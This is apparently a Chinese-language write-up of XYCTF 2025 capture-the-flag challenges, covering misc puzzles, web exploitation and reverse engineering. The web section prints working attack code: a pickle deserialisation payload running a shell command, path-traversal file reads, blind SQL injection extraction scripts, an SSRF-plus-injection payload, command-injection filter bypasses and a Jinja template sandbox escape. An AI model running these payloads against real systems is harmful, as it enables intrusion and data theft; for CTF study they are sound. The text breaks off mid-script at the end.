XYCTF 2025

kenton 发布于 27 天前 36 次阅读


MISC

签个到吧

打开后发现时Brianfuck,尝试解一下,看看怎么说,这里解密失败了,丢给ai分析,应该是混淆或者替换把,让他写一个脚本 跑一下。


# -*- coding: utf-8 -*-
def locate_brackets(code):
    """建立 Brainfuck 代码中的括号跳转表"""
    jumps, temp = {}, []
    positions = [i for i, ch in enumerate(code) if ch in "[]"]
    for idx in positions:
        if code[idx] == "[":
            temp.append(idx)
        elif code[idx] == "]" and temp:
            left = temp.pop()
            jumps[left] = idx
            jumps[idx] = left
    return jumps

def execute_chunk(code_chunk, limit=10**6):
    """执行一个 Brainfuck 片段,返回 data[0] 的值"""
    data, ptr, idx = [0], 0, 0
    jumps = locate_brackets(code_chunk)
    count = 0
    while idx < len(code_chunk) and count < limit:
        op = code_chunk[idx]
        if op == "+":
            data[ptr] = (data[ptr] + 1) % 256
        elif op == "-":
            data[ptr] = (data[ptr] - 1) % 256
        elif op == ">":
            ptr += 1
            if ptr == len(data): data.append(0)
        elif op == "<":
            ptr = max(ptr - 1, 0)
        elif op == "[":
            if data[ptr] == 0 and idx in jumps:
                idx = jumps[idx]
        elif op == "]":
            if data[ptr] != 0 and idx in jumps:
                idx = jumps[idx]
        idx += 1
        count += 1
    return data[0]

def cut_into_parts(text, sep='<[-]>'):
    """将文本按指定分隔符拆分为片段"""
    blocks = text.split(sep)
    output = []
    for i, blk in enumerate(blocks):
        if i == 0 and blk:
            output.append(blk)
        elif i > 0:
            output.append(sep + blk)
    return [b for b in output if b.strip()]

def decode(code_text):
    """处理多个 Brainfuck 片段,并组合 ASCII 输出"""
    segments = cut_into_parts(code_text)
    return "".join(
        chr(val) for val in map(execute_chunk, segments)
        if 0 < val < 256
    )

if __name__ == "__main__":
    encrypted = """">+++++++++++++++++[<++++++>-+-+-+-]<[-]>++++++++++++[<+++++++++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++[<+++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++[<+++>-+-+-+-]<[-]>+++++++++++++++++[<+++>-+-+-+-]<[-]>++++++++++++[<+++++++++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<[-]>++++++++[<++++++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<[-]>+++++++++++++++++++[<+++++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++[<++++>-+-+-+-]<[-]>++++++++[<++++++>-+-+-+-]<[-]>+++++++++++++++++++[<+++++>-+-+-+-]<[-]>+++++++++++[<++++++++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<[-]>++++++++++++[<+++++++>-+-+-+-]<[-]>++++++++++[<+++++++>-+-+-+-]<[-]>+++++++++++++++++++[<+++++>-+-+-+-]<[-]>++++++++++[<+++++>-+-+-+-]<[-]>++++++++[<++++++>-+-+-+-]<[-]>++++++++++[<+++++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<[-]>+++++++++++++++++++[<+++++>-+-+-+-]<[-]>+++++++++++++++++++++++[<+++>-+-+-+-]<[-]>+++++++++++[<++++++++++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++[<++>-+-+-+-]<[-]>++++++++[<++++++>-+-+-+-]<[-]>+++++++++++[<+++++>-+-+-+-]<[-]>+++++++++++++++++++[<+++++>-+-+-+-]<[-]>+++++++[<+++++++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++[<++++>-+-+-+-]<[-]>+++++++++++[<+++>-+-+-+-]<[-]>+++++++++++++++++++++++++[<+++++>-+-+-+-]<[-]"""
    message = decode(encrypted)
    print("解密后的消息:")
    print(message)

flag{W3lC0me_t0_XYCTF_2025_Enj07_1t!}

XGCTF

题目给了提示说CTFshow的XGCTF,看一下LamentXU师傅出的题,找到了easy_pollute,去搜一下WP看看会不会找到LamentXU师傅的博客

看一下官方WP搜索到线索

去搜索

一下,功夫不负有心人终于找到了

https://dragonkeeep.top/category/CISCN%E5%8D%8E%E4%B8%9C%E5%8D%97WEB-Polluted

会飞的雷克塞

直接看到唯曼医疗美容,搜到内江资中

明确定位到了春岚北路,收到提示,那附近还有一个特征,中铁城市中心多少期,多少期,最后尝试一下中铁城市中心

Greedymen

ai分析的很全面啊,让他跑一个脚本试试。

!/usr/bin/env python3

import re
from pwn import *

--- 工具函数 ---

def get_factors(n):
"""返回 n 除自身以外的所有因数"""
return [d for d in range(1, n) if n % d == 0]

def valid_choice(n, board):
"""
判断数字 n 是否在board中且至少存在一个因数(1 ~ n-1)仍在board中
"""
if n not in board:
return False
factors = get_factors(n)
# 至少有一个因数还在board中
return any(d in board for d in factors)

def choose_move(board):
"""
从board中选取一个合法数字,计算每个数字的净收益:
gain = n - sum(f for f in factors if f in board)
返回净收益最大的数字,如果没有合法选择则返回None
"""
best_move = None
best_net = -10 ** 9
for n in board:
if valid_choice(n, board):
factors = get_factors(n)
opp_gain = sum(d for d in factors if d in board)
net = n - opp_gain
if net > best_net:
best_net = net
best_move = n
return best_move

def parse_board(data):
"""
从服务器返回的数据中解析出未分配数字列表,
假设形如 "Unassigned Numbers: [1, 2, 3, …]"
"""
m = re.search(r'Unassigned Numbers:\s*[([0-9,\s]+)]', data)
if m:
nums = m.group(1)
board = [int(x.strip()) for x in nums.split(',') if x.strip()]
return board
return None

def parse_counter(data):
"""
解析计数器,形如 "Counter: 19"
"""
m = re.search(r'Counter:\s*([0-9]+)', data)
if m:
return int(m.group(1))
return None

--- 主逻辑 ---

def main():
# 连接到远程服务
r = remote("47.94.15.198", 22536)

# 等待菜单提示
r.recvuntil(b"1.Play")
# 根据提示菜单,选择 Play
r.sendline(b"1")

# 有时可能需要选择关卡,此处假设选择 Level 1(你可以根据实际情况调整)
r.recvuntil(b"Level")
# 假设界面会提示 "Level 1/3 50 Numbers" 等
# 若需要输入关卡选择,根据实际提示选择即可,例如发送 "1"
# 如果没有提示可以注释下面这一行
r.sendline(b"1")

while True:
    # 接收一轮数据,直到提示 "Choose a Number:" 出现
    data = r.recvuntil(b"Choose a Number:").decode()
    print(data)
    # 解析未分配数字列表
    board = parse_board(data)
    if board is None:
        print("未找到未分配数字列表")
        break

    # 检查计数器(可选)
    counter = parse_counter(data)
    if counter is None:
        print("未解析到计数器")
        break

    # 根据当前局面选择数字
    move = choose_move(board)
    if move is None:
        print("无合法选择,退出回合")
        break

    print("选择数字:", move)
    # 发送选择
    r.sendline(str(move).encode())

# 交互或者打印最终输出
r.interactive()

if name == 'main':
main()

跑到10406就停了,应该是脚本逻辑有点小问题,叫ai修改一下再

原来是前面的脚本遗漏了一个点,如果一个数的所有因数(包括1)已经被分配,则不能选。

修改一下这个函数:

def valid_choice(n, board):
if n not in board:
return False
factors = get_factors(n)
# 必须至少有一个因数仍在 board 中(包括 1)
return any(f in board for f in factors)

还是有点小问题,用chatgpt重新搞清楚逻辑,修改一个脚本:

# greedy_game_pwn_client.py

from pwn import *
import re

def precompute_strict_factors(n=200):
    strict_factors = {}
    for x in range(1, n + 1):
        strict_factors[x] = [d for d in range(1, x) if x % d == 0]
    return strict_factors

STRICT_FACTORS = precompute_strict_factors()

def get_available_numbers(unassigned, user_selected, opponent_selected):
    available = []
    for x in unassigned:
        if x in user_selected or x in opponent_selected:
            continue
        if any(d not in user_selected and d not in opponent_selected for d in STRICT_FACTORS[x]):
            available.append(x)
    return available

def choose_best_number(available, user_selected, opponent_selected):
    best = None
    best_profit = float('-inf')
    for x in available:
        opp_gain = sum(d for d in STRICT_FACTORS[x] if d not in user_selected and d not in opponent_selected)
        profit = x - opp_gain
        if profit > best_profit or (profit == best_profit and (best is None or x > best)):
            best = x
            best_profit = profit
    return best

def play_game(conn):
    user_selected = set()
    opponent_selected = set()

    while True:
        try:
            data = conn.recvuntil(b"Choose a Number:", timeout=5)
            print(data.decode(errors='ignore'))

            unassigned = re.search(r"Unassigned Numbers: (\[.*?\])", data.decode())
            counter = re.search(r"Counter: (\d+)", data.decode())

            if not unassigned or not counter:
                print("Failed to parse game state.")
                return False

            unassigned = eval(unassigned.group(1))
            counter = int(counter.group(1))

            available = get_available_numbers(unassigned, user_selected, opponent_selected)
            if not available:
                conn.sendline(b"0")
                break

            best = choose_best_number(available, user_selected, opponent_selected)
            print(f"Choosing: {best}")
            conn.sendline(str(best).encode())

            user_selected.add(best)
            for d in STRICT_FACTORS[best]:
                if d not in user_selected and d not in opponent_selected:
                    opponent_selected.add(d)

            if counter <= 1:
                break

        except EOFError:
            break
        except Exception as e:
            print(f"Error during game loop: {e}")
            return False

    final = conn.recvuntil(b"1.Play\n2.Rules\n3.Quit\n", timeout=5)
    print("Final Result:", final.decode(errors='ignore'))
    return True

def main():
    conn = remote('47.94.15.198', 22536)
    welcome = conn.recvuntil(b"3.Quit\n")
    print(welcome.decode(errors='ignore'))

    for level in range(3):
        print(f"\n--- Starting Level {level+1} ---")
        conn.sendline(b"1")
        if not play_game(conn):
            print(f"Failed at level {level+1}")
            break
        print(f"--- Finished Level {level+1} ---")

    conn.sendline(b"3")  # Quit
    flag = conn.recvall()
    print("\nFlag:", flag.decode(errors='ignore'))

if __name__ == '__main__':
    main()

precompute_strict_factors() 生成 1~200 每个数字的所有“真因数”。

get_available_numbers() 检查该数字是否未被选中,且存在至少一个未被占用的因数。

choose_best_number() 遍历所有可选数字,计算玩家得分与对手得分差值(净利润),取最大值。

曼波曼波曼波

打开zip发现一个二维码和一串什么东西,看起来像base64,但是等号在前面?

先扫一下二维码看看线索

ok被戏耍了0.0

写一个还原base64的脚本:

#!/usr/bin/env python3

def main():
    input_file = "smn.txt"
    output_file = "re_smn.txt"

    try:
        with open(input_file, "r", encoding="utf-8") as f:
            data = f.read().strip()
    except Exception as e:
        print(f"读取文件失败: {e}")
        return

    # 还原(反转字符串)
    restored = data[::-1]

    try:
        with open(output_file, "w", encoding="utf-8") as f:
            f.write(restored)
        print(f"还原后的内容已写入 {output_file}")
    except Exception as e:
        print(f"写入文件失败: {e}")

if __name__ == "__main__":
    main()

拿到cyberchef看看,的确是图片

binwalk分离得到如下文件:

所有东西打开后就这些,密码似乎需要猜测,应该是XYCTF2025了,成功解密,

又是一张png?管他三七二十一,先看用stegsolve看看,条形码?

用bwmforpy3脚本看看有没有盲水印,ok啊成功跑出来,双盲水印

MADer也要当CTFer

mkv文件格式,查看视频没发现隐藏信息

尝试用MKVToolNix混流,导出字幕mks文件

发现十六进制数据,尝试from hex

RIFX的文件头,用word把十六进制数据都提取出来

这里没思路,查看题目描述

发现PRTShark的主页

第一个作品的评论区发现信息,联想到AE编辑视频

查阅发现可以导入RIFX

导入AE,显示需要安装TextDelay插件,安装后在隐藏图层找到flag

flag{l_re@IIy_w@nn@_2_Ie@rn_AE}

web

ezpuzzle

js源码分析,先尝试一下拼图,拼完发现没有在两秒钟内................拿不到flag

把源码和图片都下载到本地,把混沌的代码美化以下,

搜一下alert 查到如下逻辑,可以看到G是需要小于yw4,先不管是什么功能,尝试修改成>yw4试一下,再去拼图

然后就是拼图,一直拼,拼完就有flag

fate

总思路:

1、/proxy` 进行 SSRF 给本地端` 
2、/1337` 接收得一个 binary 编码的 JSON
3、JSON 转 dict 时成功 bypass WAF
4、进行 SQL 漏洞查询,获取 FATE 结果

本题要绕过的点:

一、/proxy 线上接口:

封禁了所有英文字母 (a-zA-Z),防止使用正常的 URL

禁止了 URL 包含点 (.),防止连接后端服务

二、 - /1337 本地接口:

只允许 127.0.0.1 访问

需要提供符合规范的 JSON payload,含 name 字段

name不能包含 '),且长度限制

SQL 查询存在直接拼接漏洞

用数字IP表示和 @ 符号进行 SSRF :

@2130706433:8080 -> 127.0.0.1:8080

lamentxu.top@2130706433:8080在 HTTP 解析中将后面的视为目标 host、避免了所有字母、.` 的检查

通过构造 req['name'] 为 dict,而不是 str,这样就可以避免被WAF

同时为了符合无英文字符断言,采用Binary传输

import requests
​
def txt2bin(txt):
    """
    将字符串转换为连续二进制串
    """
    return ''.join(f'{ord(c):08b}' for c in txt)
​
def entry():
    # 目标地址伪装
    target = "http://eci-2ze4c3vjfup73v8af541.cloudeci1.ichunqiu.com:8080/proxy"
​
    # 构造特殊结构JSON
    crafted = '{"name":{"z\')))))))UNION SELECT FATE FROM FATETABLE WHERE NAME=\'LAMENTXU\' -- ":"y"}}'
​
    # 转换为二进制形式以规避过滤
    obf_bits = txt2bin(crafted)
​
    print("二进制payload:")
    print(obf_bits)
​
    # 发起伪装请求
    r = requests.get(
        target,
        params={
            'url': f'@2130706433:8080/1337?0=%61%62%63%64%65%66%67%68%69&1={obf_bits}'
        }
    )
    print("内容:::")
    print(r.text)
if __name__ == '__main__':
    entry()

Signin

下载后得到源码:

利用以下构造把secret.txt读出来

download?filename=./..//.././..//../secret.txt

# @File    :   cs.py
# @Time    :   2025/04/04 15:17:46
# @Author  :   Xu_DongCheng
# @Version :   1.0
# @Contact :   1330064686@qq.com
# @License :   MIT LICENSE

import base64
import pickle
import os
class pickletest():

    def __reduce__(self):
        return (os.system, ("cat /flag_* > /1.txt",))

if __name__ == '__main__':

    text = pickletest()
    sertext = pickle.dumps(text)
    print(base64.b64encode(sertext))

程序运行后得到pickle反序列化

b'gASVLwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjBRjYXQgL2ZsYWdfKiA+IC8xLnR4dJSFlFKULg=='

将本地bottle包中set_cookie的方法的encoded字段修改为上述反序列化后的字段

最后本地运行一个bottle的服务

# @File    :   main1.py
# @Time    :   2025/04/04 16:05:06
# @Author  :   Xu_DongCheng
# @Version :   1.0
# @Contact :   1330064686@qq.com
# @License :   MIT LICENSE

from bottle import Bottle, request, response, redirect, static_file, run, route

app = Bottle()
secret="Hell0_H@cker_Y0u_A3r_Sm@r7"
@route('/secret')
def secret_page():
    try:
        session = request.get_cookie("name", secret=secret)
        if not session or session["name"] == "guest":
            session = {"name": "guest"}
            response.set_cookie("name", session, secret=secret)
            return 'Forbidden!'
        if session["name"] == "admin":
            return 'The secret has been deleted!'
    except:
        return "Error!"
run(host='127.0.0.1', port=8080, debug=False)

然后访问本地的/secret就能看到生成的cookie

Cookie: name="!+G/FqBZbQ4u7jF3Wn3gRVRw18uISKFUm+29dfsYbkGM=?gASVLwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjBRjYXQgL2ZsYWdfKiA+IC8xLnR4dJSFlFKULg=="

最后访问服务器/secret

换上之前的cookie

访问secret路由得到如下

再将访问路径修改为

download?filename=./..//.././..//../1.txt

得到flag

ezsql(手动滑稽)

拿到题目有两个输入框,感觉是SQL注入测试一下,应该是在login.php页面下进行注入,用自动化工具跑一下,看看有没有过滤。

测试一下username参数进行fuzzy,响应大小为171的都被过滤了,ban的还挺多。

空格、逗号、like、and、union、||、/**/..........很多

但是能绕过空格过滤的注释符和%0a都没了

搜索到了一篇文章的%09 也就是tab的url编码没有被过滤,可以用来绕过空格。

同时OR和单引号也没有被ban 可以用来注入,根据经验,把联合注入的都过滤了,而且没有什么有效的回显页面,这道题应该考的是盲注。同时sql语句执行成功后会302跳转,可以此来判断是否注入成功,进行字符型布尔盲注

爆数据库长度和名字

username=k3'%09or%09length(database())=6%23&password=1 
username=k3'%09or%09ascii(substr(database()from(1)for(1)))=90%23&password=1
length:6,database:testdb 

手注太慢了,sqlmap又跑不动,应该是cookie的问题。写脚本的时候加上cookie的特征值再试一下。

得到两张表分别为:double_check和user

# alt_blind_sqli_variant_v3.py
import requests
import string
import time

URL = "http://eci-2ze9d3w0o6fgch5c3evf.cloudeci1.ichunqiu.com/login.php"
COOKIE = {"PHPSESSID": "6b4f1a724e72635cc25fb148e3c2c15f"}
HEADERS = {
    "User-Agent": "AltScanner",
    "Content-Type": "application/x-www-form-urlencoded"
}
CHARS = string.ascii_letters + string.digits + "_"
DB = "testdb"
MAX_TABLES = 10
MAX_NAME_LEN = 30


def probe_payload(payload):
    try:
        resp = requests.post(
            URL,
            data=payload,
            headers=HEADERS,
            cookies=COOKIE,
            timeout=10,
            allow_redirects=False
        )
        time.sleep(0.5)
        return resp.status_code == 302
    except Exception as err:
        print(f"[!] 请求失败: {err}")
        return False


def discover_table_count(schema):
    print("\n[!] 正在连接目标并识别数据表...")
    for i in range(1, MAX_TABLES + 1):
        pl = f"username=k3'%09or%09(select%09count(table_name)%09from%09information_schema.tables%09where%09table_schema=\"{schema}\")={i}%23&password=1"
        if probe_payload(pl):
            print(f"[✓] `{schema}` 包含 {i} 张表")
            return i
    print("[×] 无法识别表数量")
    return 0


def fetch_table_name(schema, index):
    name = ""
    for pos in range(1, MAX_NAME_LEN + 1):
        found = False
        for ch in CHARS:
            ch_ascii = ord(ch)
            pl = f"username=k3'%09or%09ascii(substr((select%09table_name%09from%09information_schema.tables%09where%09table_schema=\"{schema}\"%09limit%091%09offset%09{index})from({pos})for(1)))={ch_ascii}%23&password=1"
            if probe_payload(pl):
                name += ch
                print(f"[.] 第{index + 1}表 第{pos}位: {ch}")
                found = True
                break
        if not found:
            if pos == 1:
                return None
            break
    return name if name else None


def gather_table_names(schema):
    table_count = discover_table_count(schema)
    if not table_count:
        return []

    names = []
    for i in range(table_count):
        print(f"[*] 正在提取第 {i + 1} 个表...")
        tname = fetch_table_name(schema, i)
        if tname:
            names.append(tname)
            print(f"[+] 表 {i + 1}: {tname}")
        else:
            print("[-] 表名提取失败")
    return names


if __name__ == "__main__":
    schema = DB
    all_tables = gather_table_names(schema)
    print("\n[*] 扫描完成 - 结果如下")
    if all_tables:
        for idx, t in enumerate(all_tables, 1):
            print(f"  ({idx}) {t}")
    else:
        print("[×] 无法提取任何表名")

接下来爆字段名和内容:

# alt_blind_sqli_variant_v3.py
import requests
import time
import string

TARGET = "http://eci-2ze9d3w0o6fgch5c3evf.cloudeci1.ichunqiu.com/login.php"
COOKIE = {"PHPSESSID": "6b4f1a724e72635cc25fb148e3c2c15f"}
HEADERS = {
    "User-Agent": "FieldSniper",
    "Content-Type": "application/x-www-form-urlencoded"
}
POSSIBLE = string.ascii_letters + string.digits + "_"
FIELD_LIMIT = 30
ASCII_BOUNDS = (32, 127)


def request_field(payload: str) -> bool:
    try:
        res = requests.post(
            TARGET,
            data=payload,
            headers=HEADERS,
            cookies=COOKIE,
            timeout=5,
            allow_redirects=False
        )
        time.sleep(0.4)
        return res.status_code == 302
    except Exception as e:
        print(f"[x] 错误: {e}")
        return False


def enumerate_columns(table: str, index: int) -> str:
    column = ""
    print(f"\n[>] 提取 `{table}` 表中的第 {index + 1} 个字段名...")
    for i in range(1, FIELD_LIMIT + 1):
        matched = False
        for ascii_code in range(*ASCII_BOUNDS):
            inj = (
                f"username=k3'%09or%09ascii(substr((select%09column_name%09from%09information_schema.columns"
                f"%09where%09table_name=\"{table}\"%09limit%091%09offset%09{index})from({i})for(1)))={ascii_code}%23"
                f"&password=1"
            )
            if request_field(inj):
                column += chr(ascii_code)
                print(f"[+] 第 {i} 位: {chr(ascii_code)}{column}")
                matched = True
                break
        if not matched:
            print(f"[-] 第 {i} 位字段名字符未解析,终止。")
            break
    return column


def leak_field_value(tbl: str, col: str) -> str:
    output = ""
    print(f"\n[>] 提取字段 `{col}` 的内容来自 `{tbl}`...")
    for idx in range(1, FIELD_LIMIT + 1):
        matched = False
        for code in range(*ASCII_BOUNDS):
            inj = (
                f"username=k3'%09or%09ascii(substr((select%09{col}%09from%09{tbl}%09limit%091)from({idx})for(1)))={code}%23"
                f"&password=1"
            )
            if request_field(inj):
                output += chr(code)
                print(f"[+] 字符 {idx}: {chr(code)}{output}")
                matched = True
                break
        if not matched:
            print(f"[-] 第 {idx} 字符未解析,停止提取。")
            break
    return output


if __name__ == "__main__":
    tables = ["double_check", "user"]

    for tbl in tables:
        cols = []
        for i in range(3):  # 尝试枚举每个表的最多 3 个字段
            cname = enumerate_columns(tbl, i)
            if cname:
                cols.append(cname)
            else:
                break

        for col in cols:
            val = leak_field_value(tbl, col)
            print(f"\n[*] 表 `{tbl}` 中 `{col}` 字段的值: {val}")

double_check:secret(dtfrtkcc0czkoua9S)

user:username(yudeyoushang)、password(zhonghengyisheng)

登陆后输入刚好得到的secret,需要进行无回显代码执行。

试一下反弹shell,失败了,应该是有过滤,但是可以进行绕过,

把空格替换为${IFS}然后将flag重新写入到一个文件里看看能不能访问。

command=cat${IFS}/flag*>fff.txt`

Now you see me1

拿到源码后有一大堆hello world和base64加密字符

解密后得到源码:

# YOU FOUND ME ;)
# -*- encoding: utf-8 -*-
'''
@File : src.py
@Time : 2025/03/29 01:10:37
@Author : LamentXU
'''
import flask
import sys
enable_hook = False
counter = 0
def audit_checker(event,args):
global counter
if enable_hook:
if event in ["exec", "compile"]:
counter += 1
if counter > 4:
raise RuntimeError(event)
lock_within = [
"debug", "form", "args", "values",
"headers", "json", "stream", "environ",
"files", "method", "cookies", "application",
'data', 'url' ,'\'', '"',
"getattr", "_", "{{", "}}",
"[", "]", "\\", "/","self",
"lipsum", "cycler", "joiner", "namespace",
"init", "dir", "join", "decode",
"batch", "first", "last" ,
" ","dict","list","g.",
"os", "subprocess",
"g|a", "GLOBALS", "lower", "upper",
"BUILTINS", "select", "WHOAMI", "path",
"os", "popen", "cat", "nl", "app", "setattr", "translate",
"sort", "base64", "encode", "\\u", "pop", "referer",
"The closer you see, the lesser you find."]
# I hate all these.
app = flask.Flask(__name__)
@app.route('/')
def index():
return 'try /H3dden_route'
@app.route('/H3dden_route')
def r3al_ins1de_th0ught():
global enable_hook, counter
name = flask.request.args.get('My_ins1de_w0r1d')
if name:
try:
if name.startswith("Follow-your-heart-"):
for i in lock_within:
if i in name:
return 'NOPE.'
enable_hook = True
a = flask.render_template_string('{#'+f'{name}'+'#}')
enable_hook = False
counter = 0
return a
else:
return 'My inside world is always hidden.'
except RuntimeError as e:
counter = 0
return 'NO.'
except Exception as e:
return 'Error'
else:
return 'Welcome to Hidden_route!'
if __name__ == '__main__':
import os
try:
import _posixsubprocess
del _posixsubprocess.fork_exec
except:
pass
import subprocess
del os.popen
del os.system
del subprocess.Popen
del subprocess.call
del subprocess.run
del subprocess.check_output
del subprocess.getoutput
del subprocess.check_call
del subprocess.getstatusoutput
del subprocess.PIPE
del subprocess.STDOUT
del subprocess.CalledProcessError
del subprocess.TimeoutExpired
del subprocess.SubprocessError
sys.addaudithook(audit_checker)
app.run(debug=False, host='0.0.0.0', port=5000)

经过分析,可以确认在使用 flask.render_template_string 时存在 SSTI 模板注入的风险。虽然系统采用了 lock_within 来限制部分功能,并结合了 audit_checker 钩子以及删除部分命令执行函数来加强防护,但漏洞仍可被利用。

关键点:

参数前缀要求:传入的参数必须以 Follow-your-heart- 为开头

注释绕过:模板中依然存在 {##} 注释机制,这使得利用者可以尝试通过传入 ?My_ins1de_w0r1d=Follow-your-heart-#}{#(部分场景下可能需要将 # 替换为 %23)来绕过注释过滤。

符号限制:由于 {{}} 已被过滤,建议改用 {%print(xxxxx)%} 的格式来执行所需操作。

构造如下payload查看以下config:

?My_ins1de_w0r1d=Follow-your-heart-%23}{%print(config)%}

交给ai分析,得到了waf之外的方法: request.referrer、 request.mimetype、 request.authorization.type, request.origin、request.authorization.token

后开始构造payload进行尝试ssti:

学习pythonsandbox逃逸和ssti的手法,可以利用到<class 'click.utils.LazyFile'>来进行ssti。

最终写脚本测试得到得到:x(为389

#}{%print(().__class__.__base__.__subclasses__()
[x].__init__.__globals__.__getitem__('__builtins__').eval('print(successfull)'))%}{#

要提取诸如 class 之类的魔术属性,关键在于利用请求头来获取被屏蔽的字符串,然后借助 |attr() 操作符完成字符串拼接。首先,通过 request.mimetype 可获取 Content-Type 请求头的值,将其视为一个字符集合,并结合 getitem 方法提取所需字符。举例说明,如果 Content-Type 设置为 "abcdefghijklmnopqrstuvwxyz_",那么表达式

request.mimetype|attr('__getitem__')(-1)

将返回下划线 "_"。不过,由于 getitem 同样在黑名单中,此时可以借助 Origin 请求头传递 "getitem",通过 request.origin 获取该字符串,从而构造出如下表达式:

request.mimetype|attr(request.origin)(-1)
#快速构造字符串
lookup = {
    'a': 0, 'b': 1, 'c': 2, 'd': 3, 'e': 4, 'f': 5, 'g': 6, 'h': 7, 'i': 8, 'j': 9,
    'k': 10, 'l': 11, 'm': 12, 'n': 13, 'o': 14, 'p': 15, 'q': 16, 'r': 17, 's': 18,
    't': 19, 'u': 20, 'v': 21, 'w': 22, 'x': 23, 'y': 24, 'z': 25, '_': 26
}

def assemble_token(input_str):
    tokens = []
    for char in input_str:
        tokens.append("request.mimetype|attr(request.origin)(" + str(lookup[char]) + ")")
    return "~".join(tokens)

if __name__ == '__main__':
    print(assemble_token("read"))

由于 os.popen 已被禁用,不能直接调用,所以最初选择使用 eval 而非直接调用 os。实际上,可以通过

__import__('os').popen('ls').read()

重新加载 os 模块实现远程代码执行。命令部分可以从 request.referrer 获取参数,虽然也可以逐步拼接,但这样做太繁琐。

在尝试读取 flag 时,发现文件异常庞大。根据 ifconfig 的输出,推测该题目可能存在出网限制,因此使用

python3 -m http.server 8000

下载到flag文件后可以用010Editor打开看到flag

Reverse

WARMUP

解码后得到:

Execute(chr( 667205/8665 ) & .....) &  vbcrlf  ) 
import re

# 你的完整脚本(这里只用一部分示例,实际替换为完整代码)
script = '''
Execute(chr( 667205/8665 ) & .....) &  vbcrlf  ) 
'''

# 提取 chr() 内的表达式
expressions = re.findall(r'chr\((.*?)\)', script)

# 计算并转换为字符,处理异常
result = ''
for expr in expressions:
    try:
        value = int(eval(expr))  # 计算表达式结果,强制转换为整数
        if 0 <= value <= 0x10FFFF:  # 检查是否在 Unicode 有效范围内
            result += chr(value)
        else:
            print(f"Skipping invalid value: {value} from expression: {expr}")
    except Exception as e:
        print(f"Error evaluating {expr}: {e}")

print("Restored source code:")
print(result)


MsgBox "Dear CTFER. Have fun in XYCTF 2025!"
flag = InputBox("Enter the FLAG:", "XYCTF")
wefbuwiue = "90df4407ee093d309098d85a42be57a2979f1e51463a31e8d15e2fac4e84ea0df62255c4ddfb535ef3e51e8b2528b826d5347e165912e99118333151273cc3fa8b2b3b413cf2bdb1e8c9c52865efc095a8dd89b3b3cfbb200bbadbf4a6cd4" ' C4
qwfe = "rc4key"

' RC4
Function RunRC(sMessage, strKey)
    Dim kLen, i, j, temp, pos, outHex
    Dim s(255), k(255)

    ' ?
    kLen = Len(strKey)
    For i = 0 To 255
        s(i) = i
        k(i) = Asc(Mi(dstrKey, (i Mod kLen) + 1, 1)) ' ASCII
    Next

    ' KSA
    j = 0
    For i = 0 To 255
        j = (j + s(i) + k(i)) Mod 256
        temp = s(i)
        s(i) = s(j)
        s(j) = temp
    Next

    ' PRGA
    i = 0 : j = 0 : outHex = ""
    For pos = 1 To Len(sMessage)
        i = (i + 1) Mod 256
        j = (j + s(i)) Mod 256
        temp = s(i)
        s(i) = s(j)
       s(j) = temp

        ' ?
        Dim plainChar, cipherByte
        plainChar = Asc(Mid(sMessage, pos, 1)) ' SCII
        cipherByte = s((s(i) + s(j)) Mod 256) Xor plainChar
       outHex =outHex & Right("0" & Hex(cipherByte), 2)
    Next

    RunRC = outHex
End Function

'
If LCase(RunRC(flag, qwfe)) = LCase(wefbuwiue) Then
    MsgBox "Congratulations! Correct FLAG!"
Else
    MsgBox "Wrong flag."
End If

解密脚本:

import binascii

def rc4_engine(key_bytes, data_bytes):
    """RC4 解密核心逻辑,KSA + PRGA"""
    sbox = list(range(256))
    key_len = len(key_bytes)

    # 初始化 S 盒
    j = 0
    for i in range(256):
        j = (j + sbox[i] + key_bytes[i % key_len]) % 256
        sbox[i], sbox[j] = sbox[j], sbox[i]

    # 生成伪随机字节流并与密文异或
    result = bytearray()
    i = j = 0
    for byte in data_bytes:
        i = (i + 1) % 256
        j = (j + sbox[i]) % 256
        sbox[i], sbox[j] = sbox[j], sbox[i]
        rnd = sbox[(sbox[i] + sbox[j]) % 256]
        result.append(byte ^ rnd)

    return bytes(result)

def hex_to_bytes(hex_string):
    """将十六进制字符串转换为字节序列"""
    try:
        return binascii.unhexlify(hex_string)
    except binascii.Error as e:
        print(f"[!] 无法解析十六进制密文: {e}")
        return None

def decrypt_flag(key_str, hex_ciphertext):
    """主函数:RC4 解密流程封装"""
    key_b = key_str.encode('ascii')
    data_b = hex_to_bytes(hex_ciphertext)
    if data_b is None:
        return None
    return rc4_engine(key_b, data_b)

if __name__

MOON

pyd逆向

可以看到是python3.11版本

配好环境 查看模块信息

import moon

print(help(moon))

里面涉及了一个check_flag函数用于接收我们的输入并进行校验, 还涉及了一个xor_crypt 函数

main中只调用了check_flag函数,那么就可以推测xor_crypt是check_flag函数中调用的加密 函数

xor_crypt函数中第一个参数seed_value对应的就是SEED数据, 第二个参数应该就是待加密 数据

而TARGET_HEX就是我们要校验的数据

In [60]: print(moon.TARGET_HEX)
426b87abd0ceaa3c58761bbb0172606dd8ab064491a2a76af9a93e1ae56fa84206a2f7

转为数组

cipher = [int(moon.TARGET_HEX[i:i+2], 16) for i in range(0, 
len(hex_string), 2)]

cipher

In [62]: print(cipher)
